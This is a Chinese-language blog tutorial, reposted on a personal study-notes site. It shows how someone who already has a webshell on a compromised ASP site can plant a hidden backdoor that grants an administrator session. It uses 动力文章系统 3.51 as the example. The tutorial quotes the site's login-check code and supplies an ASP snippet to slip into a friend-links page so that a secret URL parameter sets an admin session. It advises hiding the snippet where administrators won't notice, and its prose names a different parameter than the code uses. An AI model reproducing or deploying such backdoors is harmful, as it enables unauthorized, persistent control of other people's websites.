利用ASP木马程序获取管理权限_Web开发_学习笔记★闵涛★计算机学习电脑编程软硬件技巧


	转至繁体中文版	\| 网站首页 \| 图文教程 \| 资源下载 \| 站长博客 \| 图片素材 \| 武汉seo \| 武汉网站优化 \|

利用ASP木马程序获取管理权限

作者：闵涛文章来源：闵涛的学习笔记点击数：679 更新时间：2009/4/23 10:28:07

　　前段时间泛滥成灾的动网论坛上传漏洞以及最近接二连三的各种asp系统暴露的上传漏洞，可能很多朋友手中有了很多webshell的肉鸡，至于选择怎么样这些小鸡的方式也是因人而异，有人继续提升权限，进一步入侵，也有人只是看看，马儿放上去了过了就忘记了，也有一些朋友，当webshell的新鲜劲儿过去了后台的神秘感和诱惑力也就大大增加。

　　其实，对很多功能强大的系统而言，拿到后台也就是拿到了一个好的后门了，但是现在比较新的版本的很多asp系统密码都是MD5加密然后配合严格的验证程序来验证的，但是我们就没有办法突破这些限制了吗？no!我今天就是要说怎么突破这些限制让我们直奔后台，有马儿厩是好办事，follow me............

　　session欺骗篇

　　首先简单说一下一般asp系统的身份验证原理。一般来说，后台管理员在登录页面输入账号密码后，程序会拿着他提交的用户名密码去数据库的管理员表里面找，如果有这个人的账号密码就认为你是管理员，然后给你一个表示你身份的session值。或者程序先把你的用户名密码提取出来，然后到数据库的管理员表里面取出管理员的账号密码来和你提交的相比较，如果相等，就跟上面一样给你个表示你身份的sesion值。然后你进入任何一个管理页面它都要首先验证你的session值，如果是管理员就让你通过，不是的话就引导你回到登录页面或者出现一些奇奇怪怪的警告，这些都跟程序员的个人喜好有关。

　　知道了原理，我们现在的一个思路就是通过我们的asp木马来修改它的程序然后拿到一个管理员session，这样的话尽管我们没有管理员密码，但是我们一样在后台通行无阻了。我把这种方法称为session欺骗。限于篇幅不能每个系统都能详细说明，本文仅以动力文章系统为例来说明。

　　动力文章系统3.51，（图一）

图一　　其实动力文章系统的所有版本全部通杀，包括动易。大家可以自己实践一下。

　　我们先来看一下它的验证内容。动力文章3.51的验证页面在Admin_ChkLogin.asp，其验证内容如下：

　　............
　　else
　　　rs("LastLoginIP")=Request.ServerVariables("REMOTE_ADDR")
　　　rs("LastLoginTime")=now()
　　　rs("LoginTimes")=rs("LoginTimes")+1
　　　rs.update
　　　session.Timeout=SessionTimeout
　　　session("AdminName")=rs("username")
　　　rs.close
　　　set rs=nothing
　　　call CloseConn()
　　　Response.Redirect "Admin_Index.asp"
　　前面省略号是用户名密码不正确的验证，直到else，看一下，如果用户名密码正确就给你两个session值：

　　session.Timeout=SessionTimeout
　　session("AdminName")=rs("username")
　　我们在看一下其他管理页面是怎么验证session的，admin_index.asp一开始就这样：

　　看起来似乎很严密，但是我们看一下，它这里值验证一个AdminName的session，只要我们的session内容是AdminName的话不就可以通过了？好，我们开工，先去弄到它的管理员账号再说，这个不要我教你了吧？到他网站逛一下或者直接一点下载它的数据库来看都可以知道。我们找个页面来改一下，我找一个比较没人而内容较多的页面FriendSite.asp（友情链接页面）来改，呵呵，这样管理员也很难查得出来啊。用asp木马的编辑功能来编辑一下它的内容。在他页面下隐蔽处加上下面几句话：

　　dim id
　　id=trim(request("qwe"))
　　if id="120" then
　　　session("AdminName")="admin" ‘这里是假设的，实际操作中可以改成你想要得管理员账号
　　end if
　　我简单说一下这句话的意思，就是说从地址栏取得hehe的值，如果hehe=120的话，那么系统就给我们一个值为admin的session。好了，我们输入看一下，图二：

图二
　　看到有什么异常吗，没有吧？还是正常页面，但是我们接着在地址栏中输入它的后台管理首页看看，是不是进去了？图三：

图三
　　呵呵，别做坏事哦............

　　小结一下：我们先找到弄到管理员账号，然后找到它的验证页面，根据它的验证内容来写入我们要的后门。不同的系统有不同的验证方式，比如青创文章系统它不但要验证你的用户名还要验证等级，但是我们总体思路还是一样，就是他验证什么我们就加入什么。

没有相关教程

教程录入：mintao 责任编辑：mintao

上一篇教程： Web服务器上防范基于ASP程序的木马

下一篇教程： IIS服务器排错指南及错误代码大全

【字体：小大】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】

注：本站部分文章源于互联网，版权归原作者所有！如有侵权，请原作者与本站联系，本站将立即删除！本站文章除特别注明外均可转载，但需注明出处！ [MinTao学以致用网]

　网友评论：（只显示最新10条。评论内容只代表网友观点，与本站立场无关！）

同类栏目

· Web开发  · 网页制作
· 平面设计  · 网站运营
· 网站推广  · 搜索优化
· 建站心得  · 站长故事
· 互联动态

热门推荐

没有教程

赞助链接

闵涛博文

500 - 内部服务器错误。

您查找的资源存在问题，因而无法显示。

鄂公网安备 42011102001154号

站长：MinTao ICP备案号：鄂ICP备11006601号-18

闵涛站盟:医药大全-武穴网。A打造B、C、D……